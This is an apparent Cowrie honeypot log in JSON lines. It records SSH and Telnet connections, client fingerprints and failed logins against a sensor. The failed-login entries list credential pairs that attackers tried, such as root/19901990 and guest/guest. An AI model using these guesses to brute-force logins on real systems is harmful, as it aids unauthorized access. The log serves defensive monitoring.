{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234qwer","message":"login attempt [ftpuser/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:46.866266Z","src_ip":"148.230.169.229","session":"22a6f5836fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:47.935834Z","src_ip":"148.230.169.229","session":"22a6f5836fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56822,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ecd8ab524d","protocol":"telnet","message":"New connection: 34.69.118.1:56822 (159.203.135.109:23) [session: 95ecd8ab524d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:48.532459Z"}
{"eventid":"cowrie.session.closed","duration":31.168105602264404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:49.219044Z","src_ip":"157.15.20.138","session":"77021bf58226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08291530609131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:49.225787Z","src_ip":"103.171.45.122","session":"1f3abeca3269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de185987e43","protocol":"ssh","message":"New connection: 122.168.114.167:37024 (159.203.135.109:22) [session: 7de185987e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:49.533862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:51.387327Z","src_ip":"122.168.114.167","session":"7de185987e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:51.391705Z","src_ip":"122.168.114.167","session":"7de185987e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56836,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f62f1c7b25e","protocol":"telnet","message":"New connection: 34.69.118.1:56836 (159.203.135.109:23) [session: 7f62f1c7b25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:52.834628Z"}
{"eventid":"cowrie.session.closed","duration":30.23956823348999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:54.963935Z","src_ip":"62.171.133.168","session":"ba06be155f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030080318450928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:57.221524Z","src_ip":"103.171.45.122","session":"9b846e883d44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a9fdf8df7e6","protocol":"telnet","message":"New connection: 103.171.45.122:39898 (159.203.135.109:23) [session: 0a9fdf8df7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:57.285510Z"}
{"eventid":"cowrie.session.closed","duration":30.618028163909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:57.970817Z","src_ip":"62.171.133.168","session":"62d51e3fac40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799740076065063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:58.083462Z","src_ip":"62.171.133.168","session":"ea72cdfb4f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215814113616943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:58.889098Z","src_ip":"34.69.118.1","session":"6f404a904839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38583517074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:58.993397Z","src_ip":"62.171.133.168","session":"c23b3cc2ac45","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:01.460052Z","src_ip":"122.168.114.167","session":"7de185987e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9160897731781,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:02.099613Z","src_ip":"62.171.133.168","session":"df9073aa4c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56823492050171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:03.739718Z","src_ip":"34.69.118.1","session":"6d08b3cb0c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366453647613525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:04.736096Z","src_ip":"108.61.224.215","session":"bb07d4dce3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:05.350697Z","src_ip":"122.168.114.167","session":"7de185987e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06690263748169,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:06.063720Z","src_ip":"34.69.118.1","session":"a873b4951fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":55092,"dst_ip":"159.203.135.109","dst_port":23,"session":"283f260e012e","protocol":"telnet","message":"New connection: 34.69.118.1:55092 (159.203.135.109:23) [session: 283f260e012e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:06.540759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57554,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac805a35ef6","protocol":"telnet","message":"New connection: 34.69.118.1:57554 (159.203.135.109:23) [session: aac805a35ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:09.013284Z"}
{"eventid":"cowrie.session.closed","duration":30.357167959213257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:11.023975Z","src_ip":"62.171.133.168","session":"b5435dd95a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57558,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a232810c9d6","protocol":"telnet","message":"New connection: 34.69.118.1:57558 (159.203.135.109:23) [session: 6a232810c9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:11.147161Z"}
{"eventid":"cowrie.session.closed","duration":31.239145755767822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:12.240001Z","src_ip":"103.171.45.122","session":"679a6c938280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba8c76bc9e2","protocol":"telnet","message":"New connection: 34.69.118.1:57572 (159.203.135.109:23) [session: bba8c76bc9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:12.485139Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57588,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c76be0081ce","protocol":"telnet","message":"New connection: 34.69.118.1:57588 (159.203.135.109:23) [session: 6c76be0081ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:12.896696Z"}
{"eventid":"cowrie.session.closed","duration":31.005160570144653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:12.927574Z","src_ip":"34.69.118.1","session":"72f40c4ae61b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b29e8491286","protocol":"telnet","message":"New connection: 34.69.118.1:57594 (159.203.135.109:23) [session: 5b29e8491286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:13.433533Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39126,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c984ebadb6","protocol":"telnet","message":"New connection: 62.171.133.168:39126 (159.203.135.109:23) [session: a6c984ebadb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:13.928572Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57606,"dst_ip":"159.203.135.109","dst_port":23,"session":"7066f5eadaee","protocol":"telnet","message":"New connection: 34.69.118.1:57606 (159.203.135.109:23) [session: 7066f5eadaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:14.204449Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39140,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e473961f0b","protocol":"telnet","message":"New connection: 62.171.133.168:39140 (159.203.135.109:23) [session: f3e473961f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:14.566796Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":59210,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceba2362f6d5","protocol":"ssh","message":"New connection: 113.163.156.190:59210 (159.203.135.109:22) [session: ceba2362f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:17.823465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:17.827751Z","src_ip":"113.163.156.190","session":"ceba2362f6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:18.151061Z","src_ip":"113.163.156.190","session":"ceba2362f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":33934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4575fd8eb1e","protocol":"telnet","message":"New connection: 62.171.133.168:33934 (159.203.135.109:23) [session: e4575fd8eb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:19.405767Z"}
{"eventid":"cowrie.session.closed","duration":30.92033576965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:19.452679Z","src_ip":"34.69.118.1","session":"95ecd8ab524d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"ftpserver","message":"login attempt [ftpserver/ftpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:19.473393Z","src_ip":"113.163.156.190","session":"ceba2362f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fa96698038","protocol":"telnet","message":"New connection: 34.69.118.1:48360 (159.203.135.109:23) [session: 08fa96698038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:20.572046Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:20.800618Z","src_ip":"113.163.156.190","session":"ceba2362f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":33942,"dst_ip":"159.203.135.109","dst_port":23,"session":"161bcfdf57b9","protocol":"telnet","message":"New connection: 62.171.133.168:33942 (159.203.135.109:23) [session: 161bcfdf57b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:23.448021Z"}
{"eventid":"cowrie.session.closed","duration":31.38583540916443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:24.220291Z","src_ip":"34.69.118.1","session":"7f62f1c7b25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":39064,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdf2a3d26e60","protocol":"ssh","message":"New connection: 221.139.88.149:39064 (10.17.0.5:22) [session: bdf2a3d26e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:25.142863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:25.149981Z","src_ip":"221.139.88.149","session":"bdf2a3d26e60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:25.408209Z","src_ip":"221.139.88.149","session":"bdf2a3d26e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:26.264898Z","src_ip":"221.139.88.149","session":"bdf2a3d26e60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56344,"dst_ip":"159.203.135.109","dst_port":23,"session":"5355ce9e9fbd","protocol":"telnet","message":"New connection: 34.69.118.1:56344 (159.203.135.109:23) [session: 5355ce9e9fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:27.376557Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:27.453061Z","src_ip":"221.139.88.149","session":"bdf2a3d26e60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.115397453308105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:29.400785Z","src_ip":"103.171.45.122","session":"0a9fdf8df7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":59246,"dst_ip":"10.17.0.5","dst_port":22,"session":"3957535143ff","protocol":"ssh","message":"New connection: 190.108.60.101:59246 (10.17.0.5:22) [session: 3957535143ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:31.293629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:31.298784Z","src_ip":"190.108.60.101","session":"3957535143ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:31.500118Z","src_ip":"190.108.60.101","session":"3957535143ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":59396,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa5c8c5018e","protocol":"telnet","message":"New connection: 62.171.133.168:59396 (159.203.135.109:23) [session: afa5c8c5018e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:31.605566Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwe123123","message":"login attempt [ubuntu/Qwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:32.334232Z","src_ip":"190.108.60.101","session":"3957535143ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:33.549834Z","src_ip":"190.108.60.101","session":"3957535143ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.876340627670288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:38.416969Z","src_ip":"34.69.118.1","session":"283f260e012e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.766266345977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:40.779430Z","src_ip":"34.69.118.1","session":"aac805a35ef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc850a4781a","protocol":"telnet","message":"New connection: 34.69.118.1:39620 (159.203.135.109:23) [session: abc850a4781a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:42.067877Z"}
{"eventid":"cowrie.session.closed","duration":31.897178411483765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:43.044215Z","src_ip":"34.69.118.1","session":"6a232810c9d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687583446502686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:43.584139Z","src_ip":"34.69.118.1","session":"6c76be0081ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400006532669067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:43.884997Z","src_ip":"34.69.118.1","session":"bba8c76bc9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41231393814087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:44.978955Z","src_ip":"62.171.133.168","session":"f3e473961f0b","protocol":"telnet"}
